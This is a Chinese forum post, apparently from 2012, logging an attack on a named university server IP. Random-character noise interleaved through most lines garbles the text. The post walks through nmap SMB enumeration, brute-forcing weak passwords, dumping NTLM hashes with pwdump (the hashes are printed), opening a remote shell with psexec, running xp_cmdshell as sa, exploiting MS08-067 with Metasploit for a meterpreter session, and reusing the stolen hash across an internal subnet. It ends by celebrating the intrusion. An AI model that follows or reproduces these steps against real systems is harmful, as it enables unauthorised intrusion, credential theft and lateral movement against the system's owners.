广西师范网站http://202.103.242.241/
2 R+ X" l9 P1 u% D H F- l" }; D! d/ L- _$ F
root@bt:~# nmap -sS -sV 202.103.242.241
; J/ s2 p% T* u$ I0 O! e
) l$ t, A4 w) [Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
3 m0 [8 i9 F7 M' c) n
L! U9 y t/ o1 J# U$ a1 yNmap scan report for bogon (202.103.242.241). c( O1 V% |2 M6 e1 F+ f' r
3 a/ g$ h+ P. W
Host is up (0.00048s latency).- b! _+ A6 A, [( l6 Y
" k4 d! C4 C! U& DNot shown: 993 closed ports
% _, ?, b4 v2 N5 |5 w$ ?. M5 }' q, S7 M& K
PORT STATE SERVICE VERSION
2 x: x1 f2 Y( Z; s3 p* `- r+ K& e& U% P, ^! W& p4 k; Y) q. F
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
1 K2 ?* X6 B4 z* i
6 i$ L# C2 y& y9 _% A139/tcp open netbios-ssn
$ Y* o2 \9 E! J) Z' l) s* t( t7 h; j- _7 D" X7 d
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds; d! K# b$ K1 `8 E! ~* Q( T
% ~' j+ G+ W; U1 C' |) H* y
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)$ a& z7 h: P. L% w8 ^+ ~* l
" s! G, Y, M: V
1026/tcp open msrpc Microsoft Windows RPC
7 S) {8 T7 A/ F" t8 q
( v0 |2 S1 P$ t# W0 F l$ g- q3372/tcp open msdtc?
2 H e' s. u5 K5 i% ?7 A+ v* O
7 R( S+ n4 }2 O3 Q3389/tcp open ms-term-serv?+ K! o0 }5 q* k% ?" e# X: l
# D w7 b7 J. ?+ L1 N L
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
) g, d8 _2 _: r% Z' _; ZSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r) G0 N+ N6 n: r6 s
3 R6 f" f3 e! V
SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
4 n4 Y# N1 u0 j( K; C/ @# e$ V1 f9 h( }0 _! E& x. x' Z. c9 |
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
+ J" u' J7 ~9 @$ R6 S, K, ~
8 e. D3 w0 o5 _1 e! i O2 hSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO9 r C& g9 c* C" Z4 A& l1 t
% t+ f. K7 B1 D( Y& h7 m
SF:ptions,6,”hO\n\x000Z”);
4 T' M- y3 [, ?8 E* d% v" i' N1 s
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
- T$ X6 |: n0 M* K5 \ u0 x9 d m% o& f6 C
Service Info: OS: Windows0 C4 d- S: C3 ^( l
) c) X7 f4 N n4 a# }" I, H6 kService detection performed. Please report any incorrect results at http://nmap.org/submit/ .7 t) \$ g. o- S* G# g$ I
5 W% |9 t7 H& A b5 y ]4 c# b
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds4 }# a% P( z; W. F
( r2 S$ T1 I$ ]4 F2 groot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
1 B. ?' ~ U4 K) F3 Q5 A5 W2 B! K# X' I4 g" J6 [, @2 O
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse; {, _1 @/ ~6 N
* S: ^" R# _8 R/ A-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
# W" W& v0 J( V2 E) _
3 J& M3 s9 Y* v/ x$ n0 k2 M-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
4 F1 j% o% G, }- ^+ q8 x
]2 K6 R; O$ d! x) l8 q-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse0 V) }5 t) k b6 X* s; V n3 k
0 [6 G _4 l* ]3 [6 O ]7 N
-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse- T; D1 k) {" ^9 k0 x
& w* ?1 S% e$ t2 H/ f
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse+ \ A" d. u$ y2 g4 Z
' _( t1 i3 k2 C) o- [# o3 i' K-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse' H7 D' j' T. F' u, H9 V
" u& X/ `+ F: o1 X! ^# ^7 d
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse* {7 E" \& k) y$ h
7 |- I# {6 o% X( Y
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse9 i/ @4 ^, A, d# |" X( @: @' S
. x( z! V e( h. ]0 X# K
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
2 I7 H* m, v' ?9 M$ p
& B" r# p$ T4 p+ N% g& S* W, J8 q-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
u; f+ Q+ `6 f/ ~3 H6 J; V$ w+ e9 r% k& Z! k
-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
/ w5 A: |* }3 Z" {" }: z9 }
' Q. ^" A2 k5 n-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse
+ z& X5 v' p4 T+ T: f/ f3 v6 v. S7 b0 q% o5 H; u* ]) A9 R, P$ X7 o O
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse5 K& V0 c' u$ y, e9 {
& b; H- r* R! q- P8 M# [" u
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
1 E0 C7 m& n( }
$ ]/ ^" x2 l5 u5 ]% k1 Zroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241 3 }6 p, q/ I4 q5 d2 x% p
3 K* j- ]$ K' ]# h' z//此乃使用脚本扫描远程机器所存在的账户名% @2 H7 U b9 ]3 |( q3 H0 u
* ?* j# a p: G' O V
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST" Z+ ?0 B) l: n: ]9 m% I
+ U; _8 J; {" N( G- Y
Nmap scan report for bogon (202.103.242.241)& A- }: n8 h. `6 g3 C/ l) |9 S
! {6 D5 X' H3 P$ K0 Y! j
Host is up (0.00038s latency).! O, V/ ]5 E# Z& E
% R+ [- m0 x# p
Not shown: 993 closed ports1 T, I) B7 a! ?* K y/ M& |/ Q
) E- J6 X* X8 z. RPORT STATE SERVICE
# e9 p9 D. c2 b% Q& k* Y" y
$ j' v7 _2 S! M$ w4 k- }3 ~/ `135/tcp open msrpc
9 W& z- {1 H$ B F" T/ `- v! p( L5 F5 q% o! j# H+ w
139/tcp open netbios-ssn
& b" M1 h' s$ A2 B* m- P: F$ n9 H1 [7 k6 S! _% O0 E% e
445/tcp open microsoft-ds
) S" v+ ?9 Z3 n6 s$ C' r, ^7 O5 C7 U! h* w' ^
1025/tcp open NFS-or-IIS
. J c: a% F" z, O& X+ f' H) J" P6 {* T5 V0 c/ P7 p5 P
1026/tcp open LSA-or-nterm3 j4 {( q8 B6 x
# ~8 J+ v) z' m3372/tcp open msdtc% G, T) I% \, S7 s8 P4 Q1 |
: f _0 F; N% @0 Z' R: R: o
3389/tcp open ms-term-serv" O ^: ?& B9 \+ K; @' P/ Q
! G0 b4 [ O& }4 t' B3 oMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)8 X5 Z8 S" [# Q; ^! \, N( y
8 @8 @& w7 q k3 D; n( R& Z
Host script results:
6 v* y7 j" m7 n- |3 r( k
" {& w$ ~" b8 Q| smb-enum-users:
6 B5 G* o: Q8 |2 K) c8 w
: G! H8 K- m8 u+ x* x- x, ^2 [) I- f|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
0 v* f9 N% a' S# u3 Z3 A. D. M4 I6 x: Y
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds0 f+ P7 X( l M- g
% L6 w5 V. y) B
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
& P0 U1 N0 R* w* ?
& N$ e2 Y! q6 D' {7 }//查看共享) \0 T, t1 W8 h4 b
6 P" r- s- U: K: w1 U/ o+ ^. CStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST; i% p& F( d" M" b3 ~0 |- N F/ Y
( c* ~, q8 l; l& U* p+ d
Nmap scan report for bogon (202.103.242.241)2 l% E8 F, ^( W( j h# [
0 D, y& K5 {( F* u( ]! m ~/ j
Host is up (0.00035s latency)." B( `% U- W$ h& E2 @2 f) Z
: v8 m6 L. }+ X, }4 F2 w
Not shown: 993 closed ports
0 @: f/ f$ |* @% v8 W2 s& U. X
# |: O7 L, Z2 yPORT STATE SERVICE7 p2 b- ^) g& ~* K7 f. D
6 C# b" @# ~) v" C
135/tcp open msrpc
% t1 y" m6 K1 G; A
0 ]+ w' J9 S4 ~139/tcp open netbios-ssn
) M3 D) [6 W% W: f `+ I+ c+ j& Q+ Q$ f5 o5 W( D
445/tcp open microsoft-ds
+ O# n% a- H, p- o9 L# r P
$ ~- `7 P* g; L' J5 I' ~8 b H1025/tcp open NFS-or-IIS# M5 z* M7 a1 q F% H7 p2 Z
. H" ?' F7 @ j7 {3 \
1026/tcp open LSA-or-nterm
) W: R( ?9 X5 s5 ^9 J5 p
, k) r0 q* l3 i$ v- k9 z2 F7 b( M3372/tcp open msdtc
\- n$ B; j- P) _: h, Y7 A) H
. U9 O- p+ A8 r" L3389/tcp open ms-term-serv
% ?: t5 f1 n j2 N
8 V7 I0 h! Z5 U1 s! bMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems) ?4 r' u+ r1 U/ U: X
$ M: t0 n; M3 Z% X$ E
Host script results:7 c+ K4 E# L- X; U6 T
e. I7 M: A3 R| smb-enum-shares:
/ O# r+ |1 ?- n( j; y7 w+ a0 W3 d3 ~2 ]3 X
| ADMIN$0 @" z' p! H& Q" F8 u6 a6 {2 @8 A
- Q( U/ W: }4 |8 D: e$ _
| Anonymous access: <none>
) o! @3 g$ T3 `
8 c [ \7 i- a: w! W| C$
1 @# z- D0 Z1 H! x9 L. n, ?! X# V1 D% l
| Anonymous access: <none>
. y# \- N0 K0 f1 d, ]$ d. T7 d& k5 Y( I5 k
| IPC$
* x2 U/ w8 q# M1 }
9 `9 u- U0 ^$ T0 B- C" a|_ Anonymous access: READ
! c- O2 w& j9 ] R: A/ D; [& @) n/ J4 `* J9 Q) B& z- y; O
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds1 m7 A4 C' b) n; U/ m s
" j3 V3 Q; n( b' M% Q; [6 @3 C
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 8 k& O' r+ a9 I, C7 M
) x% s. `( h! {% P//获取用户密码7 l5 C* w- z# y; N, V x
7 R/ ^& B) P7 J! s e9 ]
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
# z: R D/ q2 D0 T2 {$ w, H% W' E$ J: d. C o) M9 j: Z
Nmap scan report for bogon (202.103.242.2418)
3 k+ x7 N# w% l1 ~* P* @. y9 y _8 |
Host is up (0.00041s latency).
- s& j7 S8 x- M; E+ \4 S/ ~& x6 h+ e' S3 F8 w
Not shown: 993 closed ports
5 y" y0 V, u4 e: j x7 n$ z- l( l
( A; i, Z9 |' j. E" R+ L1 wPORT STATE SERVICE2 L2 E5 a/ S# p1 `; T8 U
9 G- p; O$ W( j2 L! E
135/tcp open msrpc& s5 N8 t* a( D) t. {7 c% n% N
! H0 x" N# F0 z2 q3 \139/tcp open netbios-ssn, @% I5 p3 L$ [2 ]9 H8 W( Y5 c
! U5 d' I% _: c& x
445/tcp open microsoft-ds
! Q+ ?3 s1 K4 R4 L' ^& I' s- m/ t- y' P; U0 W a; a( D: J' @
1025/tcp open NFS-or-IIS* O' q/ D* e; |! D n# p9 J8 b! g
! K2 I7 B: g; m- Y* `4 ]1026/tcp open LSA-or-nterm
7 ^# r; ^# {' }1 R* z% F$ b
* e7 i, `1 F4 T+ p% S( ~3372/tcp open msdtc
% A5 R4 o3 f, A3 \9 y) Y* q% C- J/ Z5 B3 e- b+ O3 J' y
3389/tcp open ms-term-serv) O1 z0 p" p% f7 y6 |
_& F' S3 H+ H1 c, LMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
+ N8 U8 J& @- f# k/ |9 p! h' ~! ~; V8 H* ]5 W# P+ p& j
Host script results:
/ U! O. |4 w" x" \: q
7 u- W2 K& g4 S0 F2 P7 B" e' K7 ^| smb-brute:0 s( [! M, V1 b( O! q. I! c
, k9 c* q! }( S5 w: B! }" u
administrator:<blank> => Login was successful+ |% ]" W6 Q8 E1 I4 h1 G
0 P: A8 ~$ K* n9 b3 y|_ test:123456 => Login was successful
/ G$ u& Q! H- X7 L1 c
- t7 c6 e2 c2 d) H# s5 V2 D! d& GNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
$ ^& v/ f& i+ s8 ^$ I" I3 H8 s9 \! \2 I5 [# W& V5 S* I6 Z
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash: Z- M% n% c0 \0 _' S
" r. u4 M: O& p f
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
1 E/ z" ], E/ n8 O8 d7 n3 \$ Z* O& @6 h: m
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
" k- L9 G! k! @; ~7 p1 o3 z5 W1 d' R3 K6 z: ^
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
{" i# O! K6 t% {
* R( X/ _' Q# _; P6 A5 y8 s qStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
* S! r/ f. L6 H5 [+ y# ?& L
k% I) e0 N& b+ u* n$ t/ JNmap scan report for bogon (202.103.242.241)
/ s3 ]) E) L" d2 L# N" N/ Z7 }) D9 e/ _7 {) I
Host is up (0.0012s latency). A' E0 z4 C; {+ P
0 I" v1 n3 o! {8 c! @- P+ zPORT STATE SERVICE
1 U& C% S& a+ _7 P9 o1 b$ _$ n' E/ T: R& B+ ~5 C( K
135/tcp open msrpc9 i* O+ @8 _& Q7 ?1 A4 t/ M
; T- g K; W; X
139/tcp open netbios-ssn) W* j4 ]8 l+ S( }; I8 f
! T) z" S, ~& o0 w3 ^$ ?# f- o445/tcp open microsoft-ds+ `( ^$ X# H! |# m: j
$ x! t( r6 L0 D1 y7 q2 i% M% S1 K
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems); U2 [* K; I& Y5 \( C6 t* H
& M4 L& S9 p/ a/ QHost script results:
% k, t1 K v5 S+ |; [
6 f7 Z# v# |, r" \1 S. `| smb-pwdump:& \" ~2 b8 M! E* {7 q1 d
% b* z+ A# ?# ^3 x
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************# g6 R0 i/ k$ G' B3 o' W+ M
8 V5 F% z1 i, @! o- o# x
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
; _( i0 M: H# l/ O- j$ W9 u, W5 \
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D47 m7 ~8 B3 k/ k. T6 E
1 k) W: Y' Z( x: I' R* O9 {2 L" t
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D22 G, g) k3 P) ?/ C
6 H$ Q: W9 q# H2 q3 u& W6 JNmap done: 1 IP address (1 host up) scanned in 1.85 seconds
* j2 j% d7 Z3 ]. k$ ^# n% C/ ` V/ O5 F# o6 ?
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
) }- \: {8 Q6 |9 p0 ?: D7 O* I5 k8 v+ o0 a% ?2 _3 G
-p 123456 -e cmd.exe* @! ]; K0 i: K0 C7 A9 L7 e
, h$ T3 M+ d6 M) C. k. i; J4 mPsExec v1.55 – Execute processes remotely
* g- ~, J0 N5 z4 l7 T4 ^4 ?4 h2 l) `6 Y# `0 G5 j
Copyright (C) 2001-2004 Mark Russinovich% B' w) X$ f6 E+ r
! R" g g' }( a: }Sysinternals – www.sysinternals.com
8 B, N/ z2 I3 B/ Z# Y# A5 d4 v% Q1 c
# g" d6 V$ o7 Q8 M/ U5 l4 bMicrosoft Windows 2000 [Version 5.00.2195]
9 S( H/ U) u" _7 h% Q6 ~
8 W0 W5 }8 e( Z(C) 版权所有 1985-2000 Microsoft Corp.
: T( b$ Z+ \# R& ?1 Q3 b, u' A+ y% ^3 B& _( s- O$ ?8 a( Y
C:\WINNT\system32>ipconfig( G: O- e' x; E, A& d9 q; E
; k5 X" X# y+ o9 l" B1 j f
Windows 2000 IP Configuration" S: n% i+ `* D; q! [; M
, G$ C3 C! A2 X w# {) M
Ethernet adapter 本地连接:& m; T* H& y6 j
- T3 w0 z/ Y% [& N; M
Connection-specific DNS Suffix . :# Y4 a5 p5 t! r% K. F; P9 U
& J q$ L( \: h0 f4 G, u
IP Address. . . . . . . . . . . . : 202.103.242.241
+ ^5 `& N0 S$ j% i
# R: J$ {0 S7 hSubnet Mask . . . . . . . . . . . : 255.255.255.0
" [0 s- g+ n$ p/ S/ a3 b) k% }/ G I1 J; M* w
Default Gateway . . . . . . . . . : 202.103.1.1& P, j/ `: R0 e: ]
+ I2 n4 P- k# G2 W
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
* t: G8 I! U, G; P7 L. x4 ]/ Y3 T( ~! V( G3 U/ A5 b g
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞& p( s; ?9 v" \ J! J
' t) S% u7 {( mStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
% s# h1 h4 ]2 v; E+ T R) |9 ]$ a: B; @
2 b6 y1 O' Y @" }Nmap scan report for bogon (202.103.242.241)/ r& u5 Y( b1 k g
4 v* B! r4 w# L* a& B8 e$ ~Host is up (0.00046s latency).# t! P& V7 Z# ]/ F/ e- r
" M9 b" o1 o! O- ~5 _8 E) i+ o6 W* C
Not shown: 993 closed ports0 H, ~ w2 [$ n* C
5 X0 ^: ~) P; t% l; e) e J
PORT STATE SERVICE% f1 D5 Z# e0 _! g
: z: q# a* o5 E' [5 d135/tcp open msrpc; D/ n* s, o$ S# G) j" L
* h+ E8 W4 c( p" ^9 k- q# b7 u
139/tcp open netbios-ssn) N0 _) |- b. S/ `5 O
1 |, h! Y, X6 m* b445/tcp open microsoft-ds
r6 g& M: W4 S. v8 [# o& J. D1 a. o+ H& z. b* H5 K
1025/tcp open NFS-or-IIS
' q& p2 u$ T- [# u7 w$ c# h# {
& x$ p( c4 p' M/ \1026/tcp open LSA-or-nterm# t6 a$ Y: j5 ]. C* {# B
. ^9 Y# A: Q! J7 y% D7 j# r
3372/tcp open msdtc0 |# o5 ~) W7 l+ x% B6 [, ^
+ U7 r" k4 M S. `% _
3389/tcp open ms-term-serv+ i% ]3 F& L( `( E4 U$ J$ p
! S; `/ B6 Z; F3 M+ T9 B* U) FMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
, b0 Q$ \+ s T# K/ U; E: j! G3 _4 D" R7 D+ q
Host script results:
' I3 t; z* k- I- K! `8 u& m# h+ ?& n+ [5 v
| smb-check-vulns:) w6 Z( j r- A6 L& k' [; l$ N# s/ }
( G* k& X( ? {# }" `5 {+ U
|_ MS08-067: VULNERABLE
r- u% _$ S; _6 c p& T1 W( X
3 R# u: n! V" S0 g3 ENmap done: 1 IP address (1 host up) scanned in 1.43 seconds
+ T; \8 {. j5 h1 T5 V
2 n- p& P8 l w7 \- ]6 droot@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
' x5 ~2 M5 m& V( f1 b
( I' ~9 }( o# K8 ~7 i! smsf > search ms08, X9 x9 D- e9 s
+ F# W& q% z- Y, s4 s8 Cmsf > use exploit/windows/smb/ms08_067_netapi8 ]9 c+ \9 f- V7 U1 `7 n
* a1 v) E1 r& N7 V
msf exploit(ms08_067_netapi) > show options+ ]& I3 p. q# C2 \* X8 @
6 o0 B0 y5 V7 ^' \ |& s- ]# bmsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
C, m9 y1 l) N
; [1 }% i0 c, }/ Y# qmsf exploit(ms08_067_netapi) > show payloads* f4 b. y; L( m ]. u1 Y/ w( I
% {/ @1 ~: }& N e X1 M
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
7 t6 }1 E9 I5 m& g6 a7 F+ U' ~& `! A. U1 D% ?
msf exploit(ms08_067_netapi) > exploit
; [5 K! x/ x% K' y2 m) @8 b2 ~4 g) `2 v& q- \( V3 z' b
meterpreter >
) g1 L, f/ ]+ T# J: K4 J( F5 A
1 |4 ?( t i* ~Background session 2? [y/N] (ctrl+z)
' Z/ M4 h T, f+ Q+ K
5 Z8 g T4 n0 u, ?msf exploit(ms08_067_netapi) > sessions -l
) @7 B( X: [7 ?! @" d
% ~; z! U$ e1 E- t- N" groot@bt:/usr/local/share/nmap/scripts# vim usernames.txt
$ H8 ^2 k% K; | v! E% A
' i$ W/ l+ S) B$ Q1 K+ \" @test
+ \# ]! ^$ I6 u: i+ q
% l! F: Q& W, J3 Qadministrator
% Q2 {# M; _, q& N1 Z) o# M' o( ?) [* J
root@bt:/usr/local/share/nmap/scripts# vim password.txt
) a' a/ G- H" t6 q k1 g9 m8 F7 x! m. R! a6 m/ R# E
44EFCE164AB921CAAAD3B435B51404EE% O' f8 \+ _% t1 C# a( Y P
) a" R, \- R, C) sroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 % L# D3 d. o, l$ L8 b& r0 T
; `. O& L4 r, K) I5 h& D* ] //利用用户名跟获取的hash尝试对整段内网进行登录3 i& w- |: _* D' M. u( l# q
$ J6 j. x" ?- `4 Y
Nmap scan report for 192.168.1.1057 K3 S; h4 |9 z( f& o3 C
2 H- m9 E& O' w' y- cHost is up (0.00088s latency).* Y( X! I: H. R: d, @7 u
8 ~5 F7 M" ?( ~. b/ A2 VNot shown: 993 closed ports( S. E* G) R# g
- t3 W8 x) M4 U# PPORT STATE SERVICE( ^0 G/ ~- d( j0 ]4 {- i: c
- R; h6 s0 V6 b135/tcp open msrpc
2 X2 p; T; ~" Q* x, w; t- q+ |9 C$ U+ o
139/tcp open netbios-ssn8 T5 @: i4 |) y: S: N9 t5 {
! b: d N Z' m+ l/ b6 e" d445/tcp open microsoft-ds
9 z: z3 a/ j% f; S
; l$ I( R; z4 o0 F: q; r1025/tcp open NFS-or-IIS- e0 e s$ N2 y5 j6 b- L2 V; _1 w$ G
" R' ^$ u9 A, M$ |+ l
1026/tcp open LSA-or-nterm9 h* ^7 \$ H, c5 ^7 e" C
. I6 {! L- T! U3 w$ S& M3372/tcp open msdtc1 W# q# `% k( g2 z. q! U
$ c0 S" P: `' @- h" e
3389/tcp open ms-term-serv
: C7 G- y% G# w' F- E( N9 U$ u: N# b8 L: w- h! Z
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)/ B, n$ I& S" _% V7 G. |
( x% x: R& w% f+ l- K
Host script results:) U% g: \! x t/ v& t l
! ]/ m, I; Q4 p9 ^. |+ x| smb-brute:
% i( B4 f; n2 a3 o7 k
+ y: B" H) [: r3 P; u# y|_ administrator:<blank> => Login was successful+ M% g) o. p8 v
. m0 |. N) i7 E/ r3 }
攻击成功，一个简单的msf+nmap攻击~~·
% Z! T4 f+ `0 ~
: ^; g/ s- o- C |
发表于 2012-12-4 12:46:42
收藏
支持
反对